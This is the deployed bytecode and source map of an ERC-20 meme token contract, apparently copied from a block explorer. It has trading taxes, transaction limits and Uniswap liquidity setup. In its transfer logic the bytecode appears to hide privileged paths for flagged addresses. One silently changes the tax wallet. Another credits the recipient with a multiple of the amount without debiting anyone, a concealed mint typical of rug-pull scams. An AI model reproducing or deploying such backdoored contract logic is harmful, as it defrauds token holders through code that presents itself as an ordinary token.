0x60806040526004361061012e5760003560e01c8063751039fc116100ab578063a9059cbb1161006f578063a9059cbb14610355578063b3ac853714610375578063bf474bed1461038a578063c876d0b9146103a0578063dd62ed3e146103ba578063e71dbef51461040057600080fd5b8063751039fc146102be5780637d1db4a5146102d35780638da5cb5b146102e95780638f9a55c01461031157806395d89b411461032757600080fd5b8063313ce567116100f2578063313ce5671461020757806351bc3c85146102235780635342acb41461023a57806370a0823114610273578063715018a6146102a957600080fd5b806306fdde031461013a578063095ea7b31461017e5780630faee56f146101ae57806318160ddd146101d257806323b872dd146101e757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526009815268536861756e20496e7560b81b60208201525b60405161017591906117c6565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611829565b610408565b6040519015158152602001610175565b3480156101ba57600080fd5b506101c460195481565b604051908152602001610175565b3480156101de57600080fd5b506101c461041f565b3480156101f357600080fd5b5061019e610202366004611855565b610440565b34801561021357600080fd5b5060405160098152602001610175565b34801561022f57600080fd5b506102386104a9565b005b34801561024657600080fd5b5061019e610255366004611896565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561027f57600080fd5b506101c461028e366004611896565b6001600160a01b031660009081526001602052604090205490565b3480156102b557600080fd5b506102386104eb565b3480156102ca57600080fd5b50610238610568565b3480156102df57600080fd5b506101c460165481565b3480156102f557600080fd5b506000546040516001600160a01b039091168152602001610175565b34801561031d57600080fd5b506101c460175481565b34801561033357600080fd5b5060408051808201909152600581526429a420aaa760d91b6020820152610168565b34801561036157600080fd5b5061019e610370366004611829565b610624565b34801561038157600080fd5b50610238610631565b34801561039657600080fd5b506101c460185481565b3480156103ac57600080fd5b5060055461019e9060ff1681565b3480156103c657600080fd5b506101c46103d53660046118b3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610238610674565b6000610415338484610a01565b5060015b92915050565b600061042d6009600a6119e6565b61043b90633b9aca006119f5565b905090565b600061044d848484610b25565b61049f843361049a85604051806060016040528060288152602001611bd2602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906112db565b610a01565b5060019392505050565b6010546001600160a01b0316336001600160a01b0316146104c957600080fd5b3060009081526001602052604090205480156104e8576104e881611315565b50565b6000546001600160a01b0316331461051e5760405162461bcd60e51b815260040161051590611a0c565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105925760405162461bcd60e51b815260040161051590611a0c565b61059e6009600a6119e6565b6105ac90633b9aca006119f5565b6016556105bb6009600a6119e6565b6105c990633b9aca006119f5565b6017556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106036009600a6119e6565b61061190633b9aca006119f5565b60405190815260200160405180910390a1565b6000610415338484610b25565b6000546001600160a01b0316331461065b5760405162461bcd60e51b815260040161051590611a0c565b6012805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b0316331461069e5760405162461bcd60e51b815260040161051590611a0c565b601254600160a01b900460ff16156106f85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610515565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107419030906107336009600a6119e6565b61049a90633b9aca006119f5565b6012546001600160a01b03908116600090815260136020908152604091829020805460ff19166001179055601454825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156107a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cb9190611a41565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561082d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108519190611a41565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561089e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c29190611a41565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d719343061090a816001600160a01b031660009081526001602052604090205490565b60008061091f6000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161094196959493929190611a5e565b60606040518083038185885af115801561095f573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109849190611a99565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e89190611ac7565b6001600160a01b038316610a635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610515565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610515565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610515565b6001600160a01b038216610beb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610515565b60008111610c4d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610515565b6001600160a01b03831660009081526003602052604090205460ff16158015610c8f57506001600160a01b03821660009081526003602052604090205460ff16155b15610ce357601254600160a01b900460ff16610ce35760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610515565b600080546001600160a01b03858116911614801590610d1057506000546001600160a01b03848116911614155b8015610d2557506001600160a01b0384163014155b156111b75760055460ff1615610e0f576014546001600160a01b03848116911614801590610d6157506015546001600160a01b03848116911614155b15610e0f57326000908152600460205260409020544311610dfc5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610515565b3260009081526004602052604090204390555b6015546001600160a01b038581169116148015610e3a57506014546001600160a01b03848116911614155b8015610e5f57506001600160a01b03831660009081526003602052604090205460ff16155b15610f7557601654821115610eb65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610515565b610ee26064610edc600c54600f5411610ed157600654610ed5565b6008545b85906113f1565b9061147a565b905060175482610f07856001600160a01b031660009081526001602052604090205490565b610f119190611ae9565b1115610f5f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610515565b600f8054906000610f6f83611afc565b91905055505b6015546001600160a01b038481169116148015610f9b57506001600160a01b0384163014155b15610fc857610fc56064610edc600d54600f5411610fbb57600754610ed5565b60095485906113f1565b90505b6015546001600160a01b03848116911614801590610ffe57506001600160a01b03841660009081526013602052604090205460ff165b801561102357506001600160a01b03831660009081526003602052604090205460ff16155b1561104857601080546001600160a01b0319166001600160a01b0385161790556110f9565b6015546001600160a01b0384811691161480159061107e57506001600160a01b03841660009081526013602052604090205460ff165b80156110a257506001600160a01b03831660009081526003602052604090205460ff165b156110f9576110df6110b66009600a6119e6565b6110c090846119f5565b6001600160a01b038516600090815260016020526040902054906114bc565b6001600160a01b0384166000908152600160205260409020555b30600090815260016020526040902054601254600160a81b900460ff1615801561113057506015546001600160a01b038581169116145b801561115557506001600160a01b03851660009081526003602052604090205460ff16155b801561116a5750601254600160b01b900460ff165b8015611177575060185481115b8015611184575060185483115b80156111935750600e54600f54115b156111b5576111b56111b0846111ab8460195461151b565b61151b565b611315565b505b801561123157306000908152600160205260409020546111d790826114bc565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112289085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546112549083611530565b6001600160a01b03851660009081526001602052604090205561127a6110c08383611530565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112c48585611530565b60405190815260200160405180910390a350505050565b600081848411156112ff5760405162461bcd60e51b815260040161051591906117c6565b50600061130c8486611b15565b95945050505050565b6012805460ff60a81b1916600160a81b179055600b5460009060029061133b90846119f5565b6113459190611b28565b905060006113538284611b15565b905061135e81611572565b600b54600a5447916000916113739190611ae9565b600a5461138090846119f5565b61138a9190611b28565b905080156113dd576010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113cc573d6000803e3d6000fd5b5083156113dd576113dd84476116cc565b50506012805460ff60a81b19169055505050565b60008260000361140357506000610419565b600061140f83856119f5565b90508261141c8583611b28565b146114735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610515565b9392505050565b600061147383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611798565b6000806114c98385611ae9565b9050838110156114735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610515565b600081831161152a5782611473565b50919050565b600061147383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112db565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106115a7576115a7611b4a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611600573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116249190611a41565b8160018151811061163757611637611b4a565b6001600160a01b03928316602091820292909201015260145461165d9130911684610a01565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611696908590600090869030904290600401611b60565b600060405180830381600087803b1580156116b057600080fd5b505af11580156116c4573d6000803e3d6000fd5b505050505050565b6014543060009081526002602090815260408083206001600160a01b039094168352929052205482811015611715576014546117159030906001600160a01b0316600019610a01565b60145460105460405163f305d71960e01b81526001600160a01b039283169263f305d7199286926117559230928a92600092839216904290600401611a5e565b60606040518083038185885af1158015611773573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116c49190611a99565b600081836117b95760405162461bcd60e51b815260040161051591906117c6565b50600061130c8486611b28565b600060208083528351808285015260005b818110156117f3578581018301518582016040015282016117d7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104e857600080fd5b6000806040838503121561183c57600080fd5b823561184781611814565b946020939093013593505050565b60008060006060848603121561186a57600080fd5b833561187581611814565b9250602084013561188581611814565b929592945050506040919091013590565b6000602082840312156118a857600080fd5b813561147381611814565b600080604083850312156118c657600080fd5b82356118d181611814565b915060208301356118e181611814565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561193d578160001904821115611923576119236118ec565b8085161561193057918102915b93841c9390800290611907565b509250929050565b60008261195457506001610419565b8161196157506000610419565b816001811461197757600281146119815761199d565b6001915050610419565b60ff841115611992576119926118ec565b50506001821b610419565b5060208310610133831016604e8410600b84101617156119c0575081810a610419565b6119ca8383611902565b80600019048211156119de576119de6118ec565b029392505050565b600061147360ff841683611945565b8082028115828204841417610419576104196118ec565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611a5357600080fd5b815161147381611814565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611aae57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ad957600080fd5b8151801515811461147357600080fd5b80820180821115610419576104196118ec565b600060018201611b0e57611b0e6118ec565b5060010190565b81810381811115610419576104196118ec565b600082611b4557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bb05784516001600160a01b031683529383019391830191600101611b8b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9a39ffb2ca8a66e6092205bcec14075d428e1bf571ccc86ea55d8262d11efa464736f6c63430008110033

Deployed Bytecode Sourcemap

3614:10396:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6129:83;;;;;;;;;;-1:-1:-1;6199:5:0;;;;;;;;;;;;-1:-1:-1;;;6199:5:0;;;;6129:83;;;;;;;:::i;:::-;;;;;;;;7305:161;;;;;;;;;;-1:-1:-1;7305:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7305:161:0;1023:187:1;5593:41:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5593:41:0;1215:177:1;6406:95:0;;;;;;;;;;;;;:::i;7474:313::-;;;;;;;;;;-1:-1:-1;7474:313:0;;;;;:::i;:::-;;:::i;6315:83::-;;;;;;;;;;-1:-1:-1;6315:83:0;;4049:1;2000:36:1;;1988:2;1973:18;6315:83:0;1858:184:1;13752:220:0;;;;;;;;;;;;;:::i;:::-;;7795:124;;;;;;;;;;-1:-1:-1;7795:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;7883:28:0;7859:4;7883:28;;;:19;:28;;;;;;;;;7795:124;6509:119;;;;;;;;;;-1:-1:-1;6509:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6602:18:0;6575:7;6602:18;;;:9;:18;;;;;;;6509:119;2821:148;;;;;;;;;;;;;:::i;13053:196::-;;;;;;;;;;;;;:::i;5373:49::-;;;;;;;;;;;;;;;;2607:79;;;;;;;;;;-1:-1:-1;2645:7:0;2672:6;2607:79;;-1:-1:-1;;;;;2672:6:0;;;2445:51:1;;2433:2;2418:18;2607:79:0;2299:203:1;5451:51:0;;;;;;;;;;;;;;;;6220:87;;;;;;;;;;-1:-1:-1;6292:7:0;;;;;;;;;;;;-1:-1:-1;;;6292:7:0;;;;6220:87;;6636:167;;;;;;;;;;-1:-1:-1;6636:167:0;;;;;:::i;:::-;;:::i;13257:110::-;;;;;;;;;;;;;:::i;5531:55::-;;;;;;;;;;;;;;;;3966:39;;;;;;;;;;-1:-1:-1;3966:39:0;;;;;;;;6811:143;;;;;;;;;;-1:-1:-1;6811:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6919:18:0;;;6892:7;6919:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6811:143;11394:648;;;:::i;7305:161::-;7380:4;7397:39;318:10;7420:7;7429:6;7397:8;:39::i;:::-;-1:-1:-1;7454:4:0;7305:161;;;;;:::o;6406:95::-;6459:7;4108:13;4049:1;4108:2;:13;:::i;:::-;4092:29;;:13;:29;:::i;:::-;6479:14;;6406:95;:::o;7474:313::-;7572:4;7589:36;7599:6;7607:9;7618:6;7589:9;:36::i;:::-;7636:121;7645:6;318:10;7667:89;7705:6;7667:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7667:19:0;;;;;;:11;:19;;;;;;;;318:10;7667:33;;;;;;;;;;:37;:89::i;:::-;7636:8;:121::i;:::-;-1:-1:-1;7775:4:0;7474:313;;;;;:::o;13752:220::-;13816:10;;-1:-1:-1;;;;;13816:10:0;318;-1:-1:-1;;;;;13802:24:0;;13794:33;;;;;;13877:4;13838:20;6602:18;;;:9;:18;;;;;;13897:14;;13894:71;;13925:28;13940:12;13925:14;:28::i;:::-;13783:189;13752:220::o;2821:148::-;2734:6;;-1:-1:-1;;;;;2734:6:0;318:10;2734:22;2726:67;;;;-1:-1:-1;;;2726:67:0;;;;;;;:::i;:::-;;;;;;;;;2928:1:::1;2912:6:::0;;2891:40:::1;::::0;-1:-1:-1;;;;;2912:6:0;;::::1;::::0;2891:40:::1;::::0;2928:1;;2891:40:::1;2959:1;2942:19:::0;;-1:-1:-1;;;;;;2942:19:0::1;::::0;;2821:148::o;13053:196::-;2734:6;;-1:-1:-1;;;;;2734:6:0;318:10;2734:22;2726:67;;;;-1:-1:-1;;;2726:67:0;;;;;;;:::i;:::-;4108:13:::1;4049:1;4108:2;:13;:::i;:::-;4092:29;::::0;:13:::1;:29;:::i;:::-;13106:12;:22:::0;4108:13:::1;4049:1;4108:2;:13;:::i;:::-;4092:29;::::0;:13:::1;:29;:::i;:::-;13139:14;:22:::0;13172:20:::1;:26:::0;;-1:-1:-1;;13172:26:0::1;::::0;;13214:27:::1;4108:13;4049:1;4108:2;:13;:::i;:::-;4092:29;::::0;:13:::1;:29;:::i;:::-;13214:27;::::0;1361:25:1;;;1349:2;1334:18;13214:27:0::1;;;;;;;13053:196::o:0;6636:167::-;6714:4;6731:42;318:10;6755:9;6766:6;6731:9;:42::i;13257:110::-;2734:6;;-1:-1:-1;;;;;2734:6:0;318:10;2734:22;2726:67;;;;-1:-1:-1;;;2726:67:0;;;;;;;:::i;:::-;13312:11:::1;:18:::0;;-1:-1:-1;;;;13341:18:0;-1:-1:-1;;;13341:18:0;;;13257:110::o;11394:648::-;2734:6;;-1:-1:-1;;;;;2734:6:0;318:10;2734:22;2726:67;;;;-1:-1:-1;;;2726:67:0;;;;;;;:::i;:::-;11465:11:::1;::::0;-1:-1:-1;;;11465:11:0;::::1;;;11464:12;11456:47;;;::::0;-1:-1:-1;;;11456:47:0;;5151:2:1;11456:47:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;11456:47:0::1;4949:347:1::0;11456:47:0::1;11514:15;:80:::0;;-1:-1:-1;;;;;;11514:80:0::1;11551:42;11514:80:::0;;::::1;::::0;;;11605:58:::1;::::0;11622:4:::1;::::0;4108:13:::1;4049:1;4108:2;:13;:::i;:::-;4092:29;::::0;:13:::1;:29;:::i;11605:58::-;11685:10;::::0;-1:-1:-1;;;;;11685:10:0;;::::1;11665:31;::::0;;;:19:::1;:31;::::0;;;;;;;;:38;;-1:-1:-1;;11665:38:0::1;11699:4;11665:38;::::0;;11748:15:::1;::::0;:25;;-1:-1:-1;;;11748:25:0;;;;:15;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;11665:31;11748:25;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11730:55:0::1;;11794:4;11801:15;;;;;;;;;-1:-1:-1::0;;;;;11801:15:0::1;-1:-1:-1::0;;;;;11801:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11730:94;::::0;-1:-1:-1;;;;;;11730:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5787:15:1;;;11730:94:0::1;::::0;::::1;5769:34:1::0;5839:15;;5819:18;;;5812:43;5704:18;;11730:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11714:13;:110:::0;;-1:-1:-1;;;;;11714:110:0;;::::1;-1:-1:-1::0;;;;;;11714:110:0;;::::1;;::::0;;11835:15:::1;::::0;::::1;:31;11874:9;11893:4;11899:24;11893:4:::0;-1:-1:-1;;;;;6602:18:0;6575:7;6602:18;;;:9;:18;;;;;;;6509:119;11899:24:::1;11924:1;11926::::0;11928:7:::1;2645::::0;2672:6;-1:-1:-1;;;;;2672:6:0;;2607:79;11928:7:::1;11936:15;11835:117;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11970:13:0::1;::::0;12001:15:::1;::::0;11963:71:::1;::::0;-1:-1:-1;;;11963:71:0;;-1:-1:-1;;;;;12001:15:0;;::::1;11963:71;::::0;::::1;6963:51:1::0;-1:-1:-1;;7030:18:1;;;7023:34;11970:13:0;::::1;::::0;-1:-1:-1;11963:29:0::1;::::0;6936:18:1;;11963:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6962:335::-:0;-1:-1:-1;;;;;7055:19:0;;7047:68;;;;-1:-1:-1;;;7047:68:0;;7552:2:1;7047:68:0;;;7534:21:1;7591:2;7571:18;;;7564:30;7630:34;7610:18;;;7603:62;-1:-1:-1;;;7681:18:1;;;7674:34;7725:19;;7047:68:0;7350:400:1;7047:68:0;-1:-1:-1;;;;;7134:21:0;;7126:68;;;;-1:-1:-1;;;7126:68:0;;7957:2:1;7126:68:0;;;7939:21:1;7996:2;7976:18;;;7969:30;8035:34;8015:18;;;8008:62;-1:-1:-1;;;8086:18:1;;;8079:32;8128:19;;7126:68:0;7755:398:1;7126:68:0;-1:-1:-1;;;;;7205:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7257:32;;1361:25:1;;;7257:32:0;;1334:18:1;7257:32:0;;;;;;;6962:335;;;:::o;7927:2873::-;-1:-1:-1;;;;;8015:18:0;;8007:68;;;;-1:-1:-1;;;8007:68:0;;8360:2:1;8007:68:0;;;8342:21:1;8399:2;8379:18;;;8372:30;8438:34;8418:18;;;8411:62;-1:-1:-1;;;8489:18:1;;;8482:35;8534:19;;8007:68:0;8158:401:1;8007:68:0;-1:-1:-1;;;;;8094:16:0;;8086:64;;;;-1:-1:-1;;;8086:64:0;;8766:2:1;8086:64:0;;;8748:21:1;8805:2;8785:18;;;8778:30;8844:34;8824:18;;;8817:62;-1:-1:-1;;;8895:18:1;;;8888:33;8938:19;;8086:64:0;8564:399:1;8086:64:0;8178:1;8169:6;:10;8161:64;;;;-1:-1:-1;;;8161:64:0;;9170:2:1;8161:64:0;;;9152:21:1;9209:2;9189:18;;;9182:30;9248:34;9228:18;;;9221:62;-1:-1:-1;;;9299:18:1;;;9292:39;9348:19;;8161:64:0;8968:405:1;8161:64:0;-1:-1:-1;;;;;8241:24:0;;;;;;:18;:24;;;;;;;;8240:25;:52;;;;-1:-1:-1;;;;;;8270:22:0;;;;;;:18;:22;;;;;;;;8269:23;8240:52;8236:128;;;8317:11;;-1:-1:-1;;;8317:11:0;;;;8309:43;;;;-1:-1:-1;;;8309:43:0;;9580:2:1;8309:43:0;;;9562:21:1;9619:2;9599:18;;;9592:30;-1:-1:-1;;;9638:18:1;;;9631:49;9697:18;;8309:43:0;9378:343:1;8309:43:0;8374:17;2672:6;;-1:-1:-1;;;;;8408:15:0;;;2672:6;;8408:15;;;;:32;;-1:-1:-1;2645:7:0;2672:6;-1:-1:-1;;;;;8427:13:0;;;2672:6;;8427:13;;8408:32;:57;;;;-1:-1:-1;;;;;;8444:21:0;;8460:4;8444:21;;8408:57;8404:2040;;;8486:20;;;;8482:508;;;8547:15;;-1:-1:-1;;;;;8533:30:0;;;8547:15;;8533:30;;;;:62;;-1:-1:-1;8581:13:0;;-1:-1:-1;;;;;8567:28:0;;;8581:13;;8567:28;;8533:62;8529:444;;;8687:9;8658:39;;;;:28;:39;;;;;;8731:12;-1:-1:-1;8622:250:0;;;;-1:-1:-1;;;8622:250:0;;9928:2:1;8622:250:0;;;9910:21:1;9967:2;9947:18;;;9940:30;10006:34;9986:18;;;9979:62;10077:34;10057:18;;;10050:62;-1:-1:-1;;;10128:19:1;;;10121:40;10178:19;;8622:250:0;9726:477:1;8622:250:0;8926:9;8897:39;;;;:28;:39;;;;;8939:12;8897:54;;8529:444;9018:13;;-1:-1:-1;;;;;9010:21:0;;;9018:13;;9010:21;:55;;;;-1:-1:-1;9049:15:0;;-1:-1:-1;;;;;9035:30:0;;;9049:15;;9035:30;;9010:55;:83;;;;-1:-1:-1;;;;;;9071:22:0;;;;;;:18;:22;;;;;;;;9069:24;9010:83;9006:420;;;9133:12;;9123:6;:22;;9115:60;;;;-1:-1:-1;;;9115:60:0;;10410:2:1;9115:60:0;;;10392:21:1;10449:2;10429:18;;;10422:30;10488:27;10468:18;;;10461:55;10533:18;;9115:60:0;10208:349:1;9115:60:0;9206:76;9278:3;9206:67;9228:15;;9218:9;;:25;9217:55;;9258:14;;9217:55;;;9245:12;;9217:55;9206:6;;:10;:67::i;:::-;:71;;:76::i;:::-;9194:88;;9335:14;;9325:6;9309:13;9319:2;-1:-1:-1;;;;;6602:18:0;6575:7;6602:18;;;:9;:18;;;;;;;6509:119;9309:13;:22;;;;:::i;:::-;:40;;9301:79;;;;-1:-1:-1;;;9301:79:0;;10894:2:1;9301:79:0;;;10876:21:1;10933:2;10913:18;;;10906:30;10972:28;10952:18;;;10945:56;11018:18;;9301:79:0;10692:350:1;9301:79:0;9399:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9006:420;9463:13;;-1:-1:-1;;;;;9457:19:0;;;9463:13;;9457:19;:43;;;;-1:-1:-1;;;;;;9480:20:0;;9495:4;9480:20;;9457:43;9454:178;;;9533:79;9608:3;9533:70;9555:16;;9545:9;;:26;9544:58;;9587:15;;9544:58;;;9573:13;;9533:6;;:10;:70::i;:79::-;9521:91;;9454:178;9642:13;;-1:-1:-1;;;;;9636:19:0;;;9642:13;;9636:19;;;;:46;;-1:-1:-1;;;;;;7883:28:0;;7859:4;7883:28;;;:19;:28;;;;;;;;9659:23;9636:73;;;;-1:-1:-1;;;;;;9687:22:0;;;;;;:18;:22;;;;;;;;9686:23;9636:73;9633:281;;;9712:10;:24;;-1:-1:-1;;;;;;9712:24:0;-1:-1:-1;;;;;9712:24:0;;;;;9633:281;;;9770:13;;-1:-1:-1;;;;;9764:19:0;;;9770:13;;9764:19;;;;:46;;-1:-1:-1;;;;;;7883:28:0;;7859:4;7883:28;;;:19;:28;;;;;;;;9787:23;9764:72;;;;-1:-1:-1;;;;;;9814:22:0;;;;;;:18;:22;;;;;;;;9764:72;9761:153;;;9855:43;9882:15;4049:1;9882:2;:15;:::i;:::-;9873:24;;:6;:24;:::i;:::-;-1:-1:-1;;;;;9855:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9839:13:0;;;;;;:9;:13;;;;;:59;9761:153;9979:4;9930:28;6602:18;;;:9;:18;;;;;;10037:6;;-1:-1:-1;;;10037:6:0;;;;10036:7;:46;;;;-1:-1:-1;10069:13:0;;-1:-1:-1;;;;;10063:19:0;;;10069:13;;10063:19;10036:46;:93;;;;-1:-1:-1;;;;;;10105:24:0;;;;;;:18;:24;;;;;;;;10104:25;10036:93;:125;;;;-1:-1:-1;10150:11:0;;-1:-1:-1;;;10150:11:0;;;;10036:125;:185;;;;;10204:17;;10183:20;:38;10036:185;:231;;;;;10250:17;;10243:6;:24;10036:231;:280;;;;;10298:18;;10288:9;;:28;10036:280;10014:419;;;10352:65;10367:49;10371:6;10378:37;10382:20;10403:11;;10378:3;:37::i;:::-;10367:3;:49::i;:::-;10352:14;:65::i;:::-;8467:1977;8404:2040;10459:11;;10456:161;;10527:4;10509:24;;;;:9;:24;;;;;;:39;;10538:9;10509:28;:39::i;:::-;10502:4;10484:24;;;;:9;:24;;;;;;;:64;;;;10566:39;;-1:-1:-1;;;;;10566:39:0;;;;;;;10595:9;1361:25:1;;1349:2;1334:18;;1215:177;10566:39:0;;;;;;;;10456:161;-1:-1:-1;;;;;10643:15:0;;;;;;:9;:15;;;;;;:27;;10663:6;10643:19;:27::i;:::-;-1:-1:-1;;;;;10627:15:0;;;;;;:9;:15;;;;;:43;10695:40;10713:21;:6;10724:9;10713:10;:21::i;10695:40::-;-1:-1:-1;;;;;10681:13:0;;;;;;;:9;:13;;;;;:54;;;;10751:41;;;10770:21;:6;10781:9;10770:10;:21::i;:::-;10751:41;;1361:25:1;;;1349:2;1334:18;10751:41:0;;;;;;;7996:2804;7927:2873;;;:::o;698:190::-;784:7;820:12;812:6;;;;804:29;;;;-1:-1:-1;;;804:29:0;;;;;;;;:::i;:::-;-1:-1:-1;844:9:0;856:5;860:1;856;:5;:::i;:::-;844:17;698:190;-1:-1:-1;;;;;698:190:0:o;12524:521::-;5727:6;:13;;-1:-1:-1;;;;5727:13:0;-1:-1:-1;;;5727:13:0;;;12623:6:::1;::::0;5727:13;;12633:1:::1;::::0;12614:15:::1;::::0;:6;:15:::1;:::i;:::-;12613:21;;;;:::i;:::-;12594:40:::0;-1:-1:-1;12643:18:0::1;12664:17;12594:40:::0;12664:6;:17:::1;:::i;:::-;12643:38;;12690:29;12708:10;12690:16;:29::i;:::-;12851:6;::::0;12835:13:::1;::::0;12749:21:::1;::::0;12728:18:::1;::::0;12835:22:::1;::::0;12851:6;12835:22:::1;:::i;:::-;12817:13;::::0;12804:26:::1;::::0;:10;:26:::1;:::i;:::-;12803:55;;;;:::i;:::-;12779:79:::0;-1:-1:-1;12870:17:0;;12867:171:::1;;12899:10;::::0;:34:::1;::::0;-1:-1:-1;;;;;12899:10:0;;::::1;::::0;:34;::::1;;;::::0;12919:13;;12899:10:::1;:34:::0;:10;:34;12919:13;12899:10;:34;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;12948:12:0;;12944:85:::1;;12972:45;12985:8;12995:21;12972:12;:45::i;:::-;-1:-1:-1::0;;5763:6:0;:14;;-1:-1:-1;;;;5763:14:0;;;-1:-1: